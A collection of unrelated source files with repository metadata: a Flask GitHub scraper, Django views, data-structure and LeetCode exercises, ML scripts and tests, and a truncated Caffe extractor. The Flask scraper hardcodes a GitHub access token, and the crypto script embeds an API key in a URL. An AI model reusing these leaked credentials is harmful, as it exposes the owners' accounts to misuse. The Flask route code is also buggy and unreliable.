875673c9ecc38c086c77b1ecdf250e1bb595d09d
/RBC_github_API/extract_github.py
fdf825faaf1e4a8a72fbad2ab014048a84c546e3
[]
no_license
RanajaySenapati/Datasets
9566b17fd5406fae8f6331d2b52e07d76854b5e0
fa38ebc763f1415983862abdd786494794e8ac07
refs/heads/master
2023-06-08T20:11:02.599122
2023-06-03T13:19:36
2023-06-03T13:19:36
166,786,318
0
0
null
null
null
null
UTF-8
Python
false
false
4,388
py
from flask import Flask, request, jsonify import json import pandas as pd import numpy as np import requests import urllib app = Flask(__name__) @app.route('/', methods = ['GET']) def test(): while request: return("Test successful!!!") @app.route('/extract_git', method = ['POST']) def route(): while request: data = request.get_json() source = data["source"] search_key = data["keyword"] search_key = search_key.replace(" ", "+") if(source == "github"): status = extract_github(search_key) if status == "Success": repo_df.to_csv("Repo_result1.csv", index = False) def extract_github(search_key): git_search_url = "https://api.github.com/search/repositories?q={}".format(search_key) request_result = api_call(git_search_url, True) repo_df = pd.DataFrame(columns=["source", "search_keyword", "git_name", "owner_name", "git_url", "star_count", "forks_count", "contributor_count", "contributors_list", "code_language", "last_updated_date", "readme_url", "readme_text"]) total_repo = request_result["total_count"] print(total_repo) item_list = request_result["items"] no_of_item_list = len(item_list) for item in range(0, no_of_item_list): try: #Extract git name git_name = item_list[item]["full_name"] print(git_name) #Extract owner name owner_name = item_list[item]["owner"]["login"] print(owner_name) #Extract git URL git_url = item_list[item]["url"] print(git_url) #Extract no of stars star_count = item_list[item]["stargazers_count"] print(star_count) #Extract no of forks forks_count = item_list[item]["forks_count"] print(forks_count) contributor_link = item_list[item]["contributors_url"] request_result_contributor = api_call(contributor_link, False) #Extract total no of contributors contributor_count = len(request_result_contributor) counter_contributor = 0 contributors_list = [] print(contributor_count) #Extract Top 30 contributors List while (counter_contributor<len(request_result_contributor)): contributors_list.append(request_result_contributor[counter_contributor]["url"]) counter_contributor +=1 print(contributors_list) #Extract main coding languages used code_language = item_list[item]["language"] print(code_language) #Extract last activity date last_updated_date = item_list[item]["updated_at"] print(last_updated_date) #Extract Readme data from Readme.md file content_url = item_list[item]["contents_url"].replace("{+path}", "") content_response = api_call(content_url, False) readme_url = next(x for x in content_response if x["name"] == "README.md") #Readme URL readme_url = readme_url["download_url"] readme_data = urllib.request.urlopen(readme_url) text = [] for line in readme_data: line = line.decode('utf-8') text.append(line) #Readme text readme_text = text #Adding rows to dataframe row = ["Github", search_key, git_name, owner_name, git_url, star_count, forks_count, contributor_count, contributors_list, code_language, last_updated_date, readme_url, readme_text] print("Item #", item, " done!!") repo_df.loc[item] = row except: print("Exceptions") return("Success") def api_call(url, auth_req): token = "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" headers = {'Authorization': 'token ' + token} if(auth_req == True): url = url + "&per_page=50" login = requests.get(url, headers=headers) request_result = login.json() return request_result else: url = url + "?per_page=30" login = requests.get(url) request_result = login.json() return request_result if __name__ == "__main__": app.run(debug = True, port = 9090)
[ "noreply@github.com" ]
noreply@github.com
9a7ac17a45a71f1de7afea23e28e8af49840222c
645aa520f2eff7e6001574e57c986aba129e4dd3
/tests/test_visualize_pathways.py
608a46c9346eadcb1ae18f44d046049486192b9e
[ "Apache-2.0" ]
permissive
google/transitfeed
08c4ecfb6872b6c0dc409d9a35b32ef515e30253
104b5a5b339c62a94c1579d7209a41c7c0833e35
refs/heads/master
2023-09-05T03:08:17.640950
2022-05-23T16:23:53
2022-05-23T16:23:53
24,061,376
680
299
Apache-2.0
2022-09-28T09:02:50
2014-09-15T15:16:32
Python
UTF-8
Python
false
false
649
py
import os.path import unittest import visualize_pathways def get_file_contents(filename): with open(filename, 'rb') as f: return f.read() class TestVisualizePathways(unittest.TestCase): def test_gtfs_to_graphviz(self): testdata_dir = os.path.join(os.path.dirname(__file__), 'data/au-sydney-entrances') golden_data = get_file_contents( os.path.join(testdata_dir, 'au-sydney-entrances.dot')) reader = visualize_pathways.GtfsReader(testdata_dir) self.assertEqual( str(visualize_pathways.gtfs_to_graphviz(reader)), golden_data)
[ "noreply@github.com" ]
noreply@github.com
f50d822ca3d5a95f8084081a47ecb41255882b1e
75880ce9ad6885999e17efca78b1e94e613fcd29
/ergasia8.py
de50c31e1daae70ae79973cadd3ce06c0180538e
[ "CC0-1.0" ]
permissive
nataliavorizanaki/Ergasies_Python_Prwtou_Eksamhnou
839e519b9b0a7391779725e52ee391bc3d43fac6
fa8346912c0b6eeee45f76eb1dbbc444e9cecc40
refs/heads/main
2023-03-13T03:22:20.518682
2021-03-02T17:08:52
2021-03-02T17:08:52
343,491,633
0
0
null
null
null
null
UTF-8
Python
false
false
2,602
py
import requests import json import ast import os def main(): file_name = input("Please insert file name ") file_name = file_name.strip() if os.path.exists(file_name): infile = open(file_name, 'r') contents = infile.read() else: print("The file does not exist") flag = True while flag == True: file_name = input("Please insert file name ") file_name = file_name.strip() if os.path.exists(file_name): infile = open(file_name, 'r') contents = infile.read() flag = False else: continue #infile = open(file_name, 'r') #contents = infile.read() dict_file = {} dict_file = ast.literal_eval(contents) print(dict_file) list_crypto = make_list_of_cryptocurrencies() dict_file2 = list(dict_file.keys()) #print(dict_file2) dict_file3 = list(dict_file.values()) #print(dict_file3) for k in dict_file2: if (k not in list_crypto): print("Error,",k,"cryptocurrency does not exist") else: pass for x in dict_file3: if (type(x) != float and type(x) != int): print("Error",x,"is not numeric") else: pass get_coin_data(dict_file2,dict_file3) infile.close() def get_coin_data(d_f2,d_f3): #APIurl = "https://min-api.cryptocompare.com/data/pricemulti?fsyms=ETH,DASH&tsyms=BTC,USD,EUR&api_key=INSERT-YOUR-API-KEY-HERE" i = 0 sum = 0 for x in d_f2: APIurl = "https://min-api.cryptocompare.com/data/pricemulti?fsyms={}&tsyms=EUR&api_key=362c2c77e39aae573ec3ff7ff8ea564b071cff35cdc14ee4b59cdd5d21dde8b3".format(x) print("\n") #print(APIurl) response = requests.get(APIurl) print(response) status_code = response.status_code #print(status_code) json_data = response.json() print(json_data) #print("Keys :", json_data.keys()) amount_in_euro = d_f3[i] * json_data[x]['EUR'] r_amount_in_euro=float("{:.2f}".format(amount_in_euro)) print("\n") print("The amount in euro is: ", r_amount_in_euro) i = i + 1 sum = sum + amount_in_euro r_sum = float("{:.2f}".format(sum)) print("\n") print("The total amount in euro for all cryptocurrencies is: ",r_sum) def make_list_of_cryptocurrencies(): list_of_cryptocurrencies = [] my_file = open("crypto.txt", "r") content = my_file.read() list_of_cryptocurrencies = content.splitlines() my_file.close() return list_of_cryptocurrencies main()
[ "noreply@github.com" ]
noreply@github.com
869c25a47aaf7bc6bc5d469a272bb92066b15599
59a4fe2fcd8f8a9b8afa3608e69e0236439256c7
/cross_validation3.py
9f3758c1cf7a1248f19770e4af0878542248ba76
[]
no_license
iaminblacklist/sklearn
6d947c996a129a614bbf39290d7afe8446ab48f7
11f85ed26d1751849abab18fb70bcc0bfea8db40
refs/heads/master
2020-03-27T23:54:47.844527
2018-09-04T14:20:10
2018-09-04T14:20:10
147,357,781
0
0
null
null
null
null
UTF-8
Python
false
false
760
py
from sklearn.model_selection import validation_curve from sklearn.datasets import load_digits from sklearn.svm import SVC import matplotlib.pyplot as plt import numpy as np digits = load_digits() X = digits.data y = digits.target param_range = np.logspace(-6, -2.3, 5) train_loss, test_loss = validation_curve( SVC(), X, y, param_name='gamma',param_range=param_range, cv=10, scoring='neg_mean_squared_error') train_loss_mean = -np.mean(train_loss, axis=1) test_loss_mean = -np.mean(test_loss, axis=1) plt.plot(param_range, train_loss_mean, 'o-', color="r", label="Training") plt.plot(param_range, test_loss_mean, 'o-', color="g", label="Cross-validation") plt.xlabel("gamma") plt.ylabel("Loss") plt.legend(loc="best") plt.show()
[ "iaminblacklist@gmail.com" ]
iaminblacklist@gmail.com
35e7ae1cc93316c77bb4544a66133e4b8de23b35
5e2ce4d3e4e0f1117a34d859b9bfd4b8ddf45dd3
/show/views.py
0fababbf01f9e1d72a6a88cac11ac1ccd54b9ce3
[]
no_license
Jaspreet-singh-32/Notes
1d231525dee02511dcf84d4b29d04494a6122ddf
354b9d4a69cf25637e1f6624c09a10c077b864ec
refs/heads/master
2022-12-23T19:33:10.844573
2020-07-17T08:33:58
2020-07-17T08:33:58
280,372,293
0
1
null
2020-10-01T05:53:05
2020-07-17T08:38:00
Python
UTF-8
Python
false
false
2,599
py
from django.shortcuts import render,HttpResponse from show.models import Data from django.contrib import messages from show.models import Contact # Create your views here. def all_notes(request): # first = First.objects.filter(subject=slug).values('title','any_message','id','trade','subject') # second = Second.objects.values('title','any_message','id','trade','subject') # third = Third.objects.values('title','any_message','id','trade','subject') # fourth = Fourth.objects.values('title','any_message','id','trade','subject') # fifth = Fifth.objects.values('title','any_message','id','trade','subject') # sixth = Sixth.objects.values('title','any_message','id','trade','subject') # param = {'1st':first,'2nd':second,'3rd':third,'4th':fourth,'5th':fifth,'6th':sixth,'sub':slug} if request.method == 'POST': all = request.POST.get('sub') l = all.split('->next->->') sub , trade , sem = l[0] , l[1] , l[2] data = Data.objects.filter(subject=sub,trade=trade,sem=sem) param = {'data':data, 'sub':sub} return render(request, 'show/all_notes.html',param) else: return HttpResponse('404 - page not found') def download(request ,slug): data = Data.objects.filter(id=slug) param = {'data':data} return render(request,'show/download.html',param) # def search_notes(request): # # subject = request.GET.get() # title = request.GET.get('search') # search = Data.objects.filter(title__istartswith=title,).values('title','any_message','id','trade','subject','date','sem') # param = {'data':search} # # print(search) # # print('hello') # return render(request,'show/all_notes.html',param) def contact(request): if request.method == 'POST': name = request.POST.get('name') email = request.POST.get('email') ph = request.POST.get('ph') msg = request.POST.get('msg') if len(name)<3 or len(email)<3 or (len(ph) < 10 or len(ph) > 13) or len(msg)<3: messages.warning(request,"Please fill all fields correctly") else: contact = Contact(name = name, email = email , phone = ph, message = msg) contact.save() messages.success(request,"Message received") return render(request,'show/contact.html') def select_dept(request): sub = request.GET.get('all_notes') dept = Data.objects.filter(subject=sub).values('sem','trade','subject').distinct() param = {'data':dept} return render(request,'show/dept_and_sem.html',param) # return HttpResponse('depr and sem')
[ "jassimehra2612@gmail.com" ]
jassimehra2612@gmail.com
c8f61f66a53e7880635f138860299b85e981122f
609c2898934910e568c6c9858f1dfc9b697a95be
/opentaf/templates/opentaf_ini.py
e16c02ea38b2de9290f5cc08c4e4a1ca6606a7f4
[]
no_license
cijohnson/OpenTaf
c0c30fe7d2418a2b9fab4ddf37e980e94de7c80e
43a36649189b21ef79026ec2b4707529b4aa7202
refs/heads/master
2021-01-10T13:42:53.332744
2016-03-06T07:45:09
2016-03-06T07:45:09
52,994,650
0
0
null
null
null
null
UTF-8
Python
false
false
268
py
import string template = string.Template(""" [DEFAULT] root=$__opentaf_root__ testbed=$__opentaf_testbed__ [PUBLISH] host=$__test_result_server_ip__ port=$__test_result_server_port__ [SCHEDULER] host=$__testbed_scheduler_ip__ port=$__testbed_scheduler__port__ """)
[ "ijohnson@juniper.net" ]
ijohnson@juniper.net
a0364d6e371684383b61216b8d9e5677beb97814
b394bb6bd3e8848688b525f55e82962f152c1bb3
/demos/upload/linear_systems/Complexity of Mat-Mat multiplication and LU.py
f4e79703fc521e02f24bfee84b294558fbd90ad9
[]
no_license
lukeolson/cs450-f20-demos
02c2431d7696348cf9ca1ab67bdd5c44a97ac38b
040e7dfa15c68f7f426cf69655cb600926f9f626
refs/heads/master
2023-01-22T19:12:33.394521
2020-12-03T19:48:18
2020-12-03T19:48:18
288,542,898
5
10
null
2020-10-05T19:39:07
2020-08-18T19:13:52
null
UTF-8
Python
false
false
1,025
py
#!/usr/bin/env python # coding: utf-8 # # Relative cost of matrix operations # In[1]: import numpy as np import scipy.linalg as spla import scipy as sp import matplotlib.pyplot as pt from time import time np.alterdot() # In[2]: n_values = (10**np.linspace(1, 3.25, 15)).astype(np.int32) n_values # In[3]: def mat_mul(A): return A.dot(A) for name, f in [ ("mat_mul", mat_mul), ("lu", spla.lu_factor), ]: times = [] print("----->", name) for n in n_values: print(n) A = np.random.randn(n, n) start_time = time() f(A) times.append(time() - start_time) pt.plot(n_values, times, label=name) pt.grid() pt.legend(loc="best") pt.xlabel("Matrix size $n$") pt.ylabel("Wall time [s]") # * The faster algorithms make the slower ones look bad. But... it's all relative. # * Is there a better way of plotting this? # * Can we see the asymptotic cost ($O(n^3)$) of these algorithms from the plot? # In[3]:
[ "luke.olson@gmail.com" ]
luke.olson@gmail.com
b6ad629804c56f1e1f28634b0658838b34e35074
71f96c4cd3f11ccd38c29085dcc4b7f4125ff572
/data_structures_and_algorithms/Data_Structures/linked_list/linked_list.py
8b54469bc2db2273aeedee05bfd423a4b1188ff3
[]
no_license
MohmmadNada/data-structures-and-algorithms
f0c3dab0a9ccac17c2654bbc251c80657fe4967e
0ce28a33313b427fd1100cdeaaafe17ffabcefd6
refs/heads/main
2023-06-20T17:23:53.489219
2021-08-07T14:30:33
2021-08-07T14:30:33
350,750,841
1
0
null
2021-04-09T13:18:58
2021-03-23T14:51:44
JavaScript
UTF-8
Python
false
false
7,638
py
''' CC5: 1. Create a Node class that has properties for the value stored in the Node, and a pointer to the next Node. 2. Within your LinkedList class, include a head property. Upon instantiation, an empty Linked List should be created. * Define a method called insert which takes any value as an argument and adds a new node with that value to the head of the list with an O(1) Time performance. * Define a method called includes which takes any value as an argument and returns a boolean result depending on whether that value exists as a Node’s value somewhere within the list. * Define a method called toString (or __str__ in Python) which takes in no arguments and returns a string representing all the values in the Linked List, formatted as: "{ a } -> { b } -> { c } -> NULL" 3. Any exceptions or errors that come from your code should be semantic, capturable errors. For example, rather than a default error thrown by your language, your code should raise/throw a custom, semantic error that describes what went wrong in calling the methods you wrote for this lab. 4. Be sure to follow your language/frameworks standard naming conventions (e.g. C# uses PascalCasing for all method and class names). ''' from inspect import EndOfBlock, currentframe import re # from _pytest.python_api import raises class Node: ''' Node class that has properties for the value stored in the Node, and a pointer to the next Node(next). ''' def __init__(self,value=None): self.value = value self.next = None class LinkedList: ''' class for linked list instance ''' #-----------------------------------------CC5----------------------------# def __init__(self): ''' empty list should be created ''' self.head = None def insert(self,value): ''' we want to add a node with an O(1) efficiency, we have to replace the current Head of the linked list with the new node, without losing the reference to the next node in the list. ''' new_node = Node(value) new_node.next = self.head self.head = new_node def includes(self,value): ''' takes any value as an argument and returns a boolean result depending on whether that value exists as a Node’s value somewhere within the list. ''' current = self.head #first node , we will loop through all nodes by add next while current : if current.value == value : return True else : current = current.next return False # incase not found after all node def __str__(self): ''' takes in no arguments and returns a string representing all the values in the Linked List, formatted as: "{ a } -> { b } -> { c } -> NULL" ''' current =self.head linkListString='' while True : if current != None: linkListString += '{ '+str(current.value)+' } -> ' current=current.next elif current == None: linkListString += 'NULL' break return linkListString #-----------------------------------------CC6----------------------------# def append(self,value): ''' adds a new node with the given value to the end of the list ''' new_node=Node(value) current=self.head if current: while current.next: current=current.next current.next=new_node new_node.next=None else : self.head=new_node def insertBefore(self,value, newVal): ''' add a new node with the given newValue immediately before the first value node ''' if self.includes(value): current=self.head if current.value==value: new_node=Node(newVal) new_node.next=current self.head=new_node else: while current.next: if current.next.value==value: new_node=Node(newVal) new_node.next=current.next current.next=new_node break current=current.next else: return 'This item does not exist' def insertAfter(self,value, newVal): ''' add a new node with the given newValue immediately after the first value node ''' if self.includes(value): current=self.head while current : if current.value==value: new_node=Node(newVal) new_node.next=current.next current.next=new_node break elif current.next ==None: new_node=Node(newVal) current.next=new_node current=current.next else: return 'not found value to insert after it ' def __len__(self): current = self.head length = 0 while current: length+=1 current=current.next return length def kthFromEnd(self,k): ''' Write a method for the Linked List class which takes a number, k, as a parameter. Return the node’s value that is k from the end of the linked list. You have access to the Node class and all the properties on the Linked List class as well as the methods created in previous challenges. ''' current = self.head length=len(self) # while current: # length+=1 # current=current.next # current=self.head if not -length < k < length: raise Exception(' this K value is put of range ') else : if k<0: k=abs(k) steps= length-k-1 for x in range(steps): current = current.next return current.value if __name__=='__main__': # ll=LinkedList()#we create empty list new # # #show what inside # # print('********** head -> none') # # print(ll.head)#==>none # # print(ll.head.value,'----',ll.head.next)#==>a , none # ll.insert('a') # ll.insert('50') # ll.insert('cc') # # # print(ll.head.value)#aa # # # print(ll.head.next.value)#a # # # print(ll.head.next.next)#none # # # print(ll.includes('c')) # # # print(ll.includes('b')) # # print('********** ********** * ** ** * ** ') # ll.append('last') # # print(str(ll))#{ cc } -> { 50 } -> { a } -> { last } -> NULL # ll.insertBefore('50','before') # # print(str(ll))#{ cc } -> { before } -> { 50 } -> { a } -> { last } -> NULL # ll.insertAfter('before','after') # # ll.insertAfter('beforess','after')# not found # # print('after insert\n',str(ll))#{ cc } -> { before } -> { after } -> { 50 } -> { a } -> { last } -> NULL # ll.insertAfter('last','after last') # print(str(ll)) # print(ll.kthFromEnd(6)) # # ll.kthFromEnd(6) ll=LinkedList() ll.insert('a') ll.insert('50') ll.append('last')# { 50 } -> { a } -> { last } -> NULL print(str(ll)) print('the lenght is --- ',len(ll)) # print(ll.kthFromEnd(0))# { last } # print(ll.kthFromEnd(1))# # print(ll.kthFromEnd(2))# # print(ll.kthFromEnd(3)) #{ 50 } # print(ll.kthFromEnd(4)) # out of range # print(ll.kthFromEnd(10)) # ll.insert('a') # ll.insert('0') # ll.insert('10') # actual=ll.kthFromEnd(0)
[ "mohammad.nada_97@yahoo.com" ]
mohammad.nada_97@yahoo.com
4b64ead8aaa5f3622333594515050ea8272d1336
c39e19e8fada4df5bf8999f93a470fc5db0b8ea7
/tensorflow/python/keras/distribute/keras_stateful_lstm_model_correctness_test.py
4802c8d07d7c1f2aa5807fb9066c48b3319404fb
[ "Apache-2.0" ]
permissive
ivomarb/tensorflow
6bb05bc6dbaa8e59b43d00a8216bb0b8cb766080
df2fbb89588065fca2c6e5fcfba7d8c2b4378591
refs/heads/master
2020-06-26T05:03:06.321649
2019-07-29T20:30:03
2019-07-29T21:40:30
199,530,704
1
0
Apache-2.0
2019-07-29T21:45:39
2019-07-29T21:45:38
null
UTF-8
Python
false
false
4,359
py
# Copyright 2019 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Tests for stateful tf.keras LSTM models using DistributionStrategy.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import numpy as np from tensorflow.python import keras from tensorflow.python.distribute import combinations from tensorflow.python.distribute import strategy_combinations from tensorflow.python.eager import test from tensorflow.python.keras.distribute import keras_correctness_test_base from tensorflow.python.keras.optimizer_v2 import gradient_descent as gradient_descent_keras def strategies_for_stateful_embedding_model(): """Returns TPUStrategy with single core device assignment.""" return [ strategy_combinations.tpu_strategy_one_core, strategy_combinations.tpu_strategy_one_step_one_core ] def test_combinations_for_stateful_embedding_model(): return (combinations.combine( distribution=strategies_for_stateful_embedding_model(), mode='graph', use_numpy=False, use_validation_data=False, run_distributed=[True, False])) class DistributionStrategyStatefulLstmModelCorrectnessTest( keras_correctness_test_base .TestDistributionStrategyEmbeddingModelCorrectnessBase): def get_model(self, max_words=10, initial_weights=None, distribution=None, run_distributed=None, input_shapes=None): del input_shapes batch_size = keras_correctness_test_base._GLOBAL_BATCH_SIZE with keras_correctness_test_base.MaybeDistributionScope(distribution): word_ids = keras.layers.Input( shape=(max_words,), batch_size=batch_size, dtype=np.int32, name='words') word_embed = keras.layers.Embedding(input_dim=20, output_dim=10)(word_ids) lstm_embed = keras.layers.LSTM( units=4, return_sequences=False, stateful=True)( word_embed) preds = keras.layers.Dense(2, activation='softmax')(lstm_embed) model = keras.Model(inputs=[word_ids], outputs=[preds]) if initial_weights: model.set_weights(initial_weights) optimizer_fn = gradient_descent_keras.SGD model.compile( optimizer=optimizer_fn(learning_rate=0.1), loss='sparse_categorical_crossentropy', metrics=['sparse_categorical_accuracy']) return model # TODO(jhseu): Disabled to fix b/130808953. Need to investigate why it # doesn't work and enable for DistributionStrategy more generally. @combinations.generate(test_combinations_for_stateful_embedding_model()) def disabled_test_stateful_lstm_model_correctness( self, distribution, use_numpy, use_validation_data, run_distributed): self.run_correctness_test( distribution, use_numpy, use_validation_data, is_stateful_model=True, run_distributed=run_distributed) @combinations.generate( combinations.times( keras_correctness_test_base.test_combinations_with_tpu_strategies(), combinations.combine(run_distributed=[True, False]))) def test_incorrectly_use_multiple_cores_for_stateful_lstm_model( self, distribution, use_numpy, use_validation_data, run_distributed): with self.assertRaisesRegexp( ValueError, 'Single core must be used for computation on stateful models. Consider ' 'adding `device_assignment` parameter to TPUStrategy'): self.run_correctness_test( distribution, use_numpy, use_validation_data, is_stateful_model=True, run_distributed=run_distributed) if __name__ == '__main__': test.main()
[ "gardener@tensorflow.org" ]
gardener@tensorflow.org
bebae2ec181a990c00ab65e8cbacefadfb9f5f8c
afb95e647efe077122e1d774028ac7a39ffc2b88
/mysite/decrees/urls.py
3da1b9ea1678b08d6d160aac1f6a06d102345d49
[]
no_license
hercules261188/unv-proj
c56b32ca41acd26528f5e1b256906315a7023cee
ed762189124ffe4e0016773461466b8506bdaf71
refs/heads/master
2021-12-14T23:44:00.360059
2017-06-24T11:49:13
2017-06-24T11:49:13
null
0
0
null
null
null
null
UTF-8
Python
false
false
398
py
from django.conf.urls import url, include from django.views.generic import ListView, DetailView from decrees.models import Decree # pk — is for primary key urlpatterns = [ url(r'^$', ListView.as_view(queryset=Decree.objects.all().order_by('-date')[:25], template_name='decrees/decrees.html')), url(r'^(?P<pk>\d+)$', DetailView.as_view(model=Decree, template_name='decrees/post.html')) ]
[ "forjob159@gmail.com" ]
forjob159@gmail.com
90afc3a58e3e9c99e3416d2d843ca5e084f3e87a
a2b6bc9bdd2bdbe5871edb613065dd2397175cb3
/medium/Rotate List.py
8ad51c14cc944ec9af60a8ec92c7c8d4a1311263
[]
no_license
Asunqingwen/LeetCode
ed8d2043a31f86e9e256123439388d7d223269be
b7c59c826bcd17cb1333571eb9f13f5c2b89b4ee
refs/heads/master
2022-09-26T01:46:59.790316
2022-09-01T08:20:37
2022-09-01T08:20:37
95,668,066
0
0
null
null
null
null
UTF-8
Python
false
false
1,931
py
# -*- coding: utf-8 -*- # @Time : 2019/10/29 0029 10:26 # @Author : 没有蜡笔的小新 # @E-mail : sqw123az@sina.com # @FileName: Rotate List.py # @Software: PyCharm # @Blog :https://blog.csdn.net/Asunqingwen # @GitHub :https://github.com/Asunqingwen """ Given a linked list, rotate the list to the right by k places, where k is non-negative. Example 1: Input: 1->2->3->4->5->NULL, k = 2 Output: 4->5->1->2->3->NULL Explanation: rotate 1 steps to the right: 5->1->2->3->4->NULL rotate 2 steps to the right: 4->5->1->2->3->NULL Example 2: Input: 0->1->2->NULL, k = 4 Output: 2->0->1->NULL Explanation: rotate 1 steps to the right: 2->0->1->NULL rotate 2 steps to the right: 1->2->0->NULL rotate 3 steps to the right: 0->1->2->NULL rotate 4 steps to the right: 2->0->1->NULL """ import json class ListNode: def __init__(self, x): self.val = x self.next = None def stringToIntegerList(input): return json.loads(input) def stringToListNode(input): input = input.split(',') dummyRoot = ListNode(0) ptr = dummyRoot for number in input: ptr.next = ListNode(int(number)) ptr = ptr.next ptr = dummyRoot.next return ptr def listNodeToString(node): if not node: return "[]" result = "" while node: result += str(node.val) + ", " node = node.next return "[" + result[:-2] + "]" def rotateRight(head: ListNode, k: int) -> ListNode: p1 = head length = 0 while p1: length += 1 p1 = p1.next if length <= 1 or k == 0: return head k %= length p1, p2 = head, head for i in range(k): p2 = p2.next for i in range(length - k): if not p1.next: p1.next = head if not p2.next: p2.next = head p1 = p1.next p2 = p2.next head = p1 for i in range(length - 1): p1 = p1.next p1.next = None return head if __name__ == '__main__': input = "1,2" k = 0 head = stringToListNode(input) result = rotateRight(head, k) result = listNodeToString(result) print(result)
[ "sqw123az@sina.com" ]
sqw123az@sina.com
6509cf0f6ae61fc6658747d5fd7bef580f311729
33b401c13196e622b6a492f04e285972a23256df
/main.py
f46f8c2c758b554c925b908525c0e45749eb5212
[]
no_license
bigavo/website_status_checker
104c9501e95c52f0d5e625c8c9cdd783741b9276
5866cb0a95a66a253c43504507037b14d6faf326
refs/heads/master
2023-04-23T22:00:46.249597
2021-05-04T09:38:05
2021-05-04T09:38:05
341,370,887
0
0
null
null
null
null
UTF-8
Python
false
false
2,153
py
import requests import sys import time from typing import Final #Constants URL_FILE: Final = 'websiteList.txt' LOG_FILE: Final = 'log_file.txt' LOG_FILE: Final = 'log_file.txt' def update_page_status(new_status, url, request_time): f = open(LOG_FILE, "r+") for line in f: split_line = line.split("---") if line.split("---")[0] == url: split_line.pop(1) line = split_line[0] + " " + new_status + " " + request_time + "s" + "\n" return line def write_log_file(content): log_file = open(LOG_FILE,"w") log_file.write(content) log_file.close() def check_page_status(): site_list = open(URL_FILE, "r") output = "" for line in site_list: url_address = line.split(",")[0] content_requirement = line.split(",")[1].replace('\n', '') loading_text = initiate_status_to_log_file(line) write_log_file(output + loading_text) response = requests.get(url_address) request_time = str(response.elapsed) response_status_code = str(response.status_code) check_result = (content_requirement in response.text) page_status = check_status_code(check_result, response_status_code) update_text = update_page_status(page_status, url_address, request_time) output = output + update_text write_log_file(output) site_list.close() return output def initiate_status_to_log_file(line): url_address = line.split(",")[0] request_starting_status = "Waiting" loading_text = url_address + "---" + request_starting_status + "---" return loading_text def check_status_code(check_result, response_status_code): if check_result == True: page_status = "OK" else: if response_status_code in range(400, 499): page_status = "User's error" elif response_status_code in range(500, 599): page_status = "Server is down!" else: page_status = "The content requirements were not fulfilled" return page_status def timer(): while True: check_page_status() time.sleep(int(sys.argv[1])) timer()
[ "kieutrinh.ibc@gmail.com" ]
kieutrinh.ibc@gmail.com
bc27b8fa61132158c9004b0c3d96302cee57c123
c9fde4576216a22e8d5711bbe97adda1aafa2f08
/model-optimizer/mo/front/caffe/extractor.py
8f6115655b5973294584661bca6889d30733e4aa
[ "Apache-2.0" ]
permissive
dliang0406/dldt
c703d6a837de3f996528fc8a9543f9530b23342c
d9b10abcebafe8b10ba81e09e433de7a366c072c
refs/heads/2018
2020-04-03T08:24:47.723353
2018-10-29T07:58:05
2018-10-29T07:58:05
155,132,108
3
1
Apache-2.0
2019-10-10T08:39:46
2018-10-29T01:03:54
C++
UTF-8
Python
false
false
5,994
py
""" Copyright (c) 2018 Intel Corporation Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ from mo.front.caffe.extractors.batchnorm import batch_norm_ext from mo.front.caffe.extractors.concat import concat_ext from mo.front.caffe.extractors.convolution import convolution_ext from mo.front.caffe.extractors.deconvolution import deconvolution_ext from mo.front.caffe.extractors.eltwise import eltwise_ext from mo.front.caffe.extractors.flatten import flatten_ext from mo.front.caffe.extractors.inner_product import inner_product_ext from mo.front.caffe.extractors.input import global_input_ext, input_ext from mo.front.caffe.extractors.lrn import lrn_ext from mo.front.caffe.extractors.native_caffe import native_caffe_node_extractor from mo.front.caffe.extractors.permute import permute_ext from mo.front.caffe.extractors.pooling import pooling_ext from mo.front.caffe.extractors.power import power_ext from mo.front.caffe.extractors.relu import relu_ext from mo.front.caffe.extractors.reshape import reshape_ext from mo.front.caffe.extractors.roipooling import roipooling_ext from mo.front.caffe.extractors.scale import scale_ext from mo.front.caffe.extractors.slice import slice_ext from mo.front.caffe.extractors.softmax import softmax_ext from mo.front.common.partial_infer.elemental import copy_shape_infer from mo.front.common.register_custom_ops import extension_op_extractor from mo.front.extractor import CaffePythonFrontExtractorOp, FrontExtractorOp from mo.graph.graph import Node from mo.ops.op import Op from mo.utils.error import Error from mo.utils.utils import refer_to_faq_msg def node_pb_arg(pb_extractor): return lambda node: pb_extractor(node.pb, node.model_pb) """ Keys are names that appear as layer names in .prototxt. Full list is available here: http://caffe.berkeleyvision.org/tutorial/layers.html """ caffe_type_extractors = { # Data Layers 'input': node_pb_arg(input_ext), 'globalinput': node_pb_arg(global_input_ext), # Common Layers 'innerproduct': node_pb_arg(inner_product_ext), 'inner_product': node_pb_arg(inner_product_ext), 'dropout': node_pb_arg(lambda _, __: dict(op='Dropout', infer=copy_shape_infer)), # Vision Layers 'convolution': node_pb_arg(convolution_ext), 'deconvolution': node_pb_arg(deconvolution_ext), 'pooling': node_pb_arg(pooling_ext), # Normalization Layers 'batchnorm': node_pb_arg(batch_norm_ext), 'lrn': node_pb_arg(lrn_ext), # Activation Layers 'power': node_pb_arg(power_ext), 'relu': node_pb_arg(relu_ext), 'scale': node_pb_arg(scale_ext), # Utility Layers 'concat': node_pb_arg(concat_ext), 'eltwise': node_pb_arg(eltwise_ext), 'flatten': node_pb_arg(flatten_ext), 'reshape': node_pb_arg(reshape_ext), 'slice': node_pb_arg(slice_ext), 'softmax': node_pb_arg(softmax_ext), # Custom, implemented in IE, SSD-specific 'permute': node_pb_arg(permute_ext), # Custom, implemented in IE, Fast-RCNN-specific 'roipooling': node_pb_arg(roipooling_ext), } def common_caffe_fields(node: Node) -> dict: if node.has_valid('op') and node.op == 'Identity': return {} pb = node.pb if node.pb else node layer_type = pb.type if isinstance(layer_type, int): layer_type = pb.LayerType.DESCRIPTOR.values_by_number[layer_type].name layer_type = str(layer_type) return { 'kind': 'op', 'name': pb.name, 'type': layer_type, 'op': layer_type, # generic code relies on op; it should be overridden by specific op extractor 'infer': None, 'precision': 'FP32' # TODO use real precision derived from 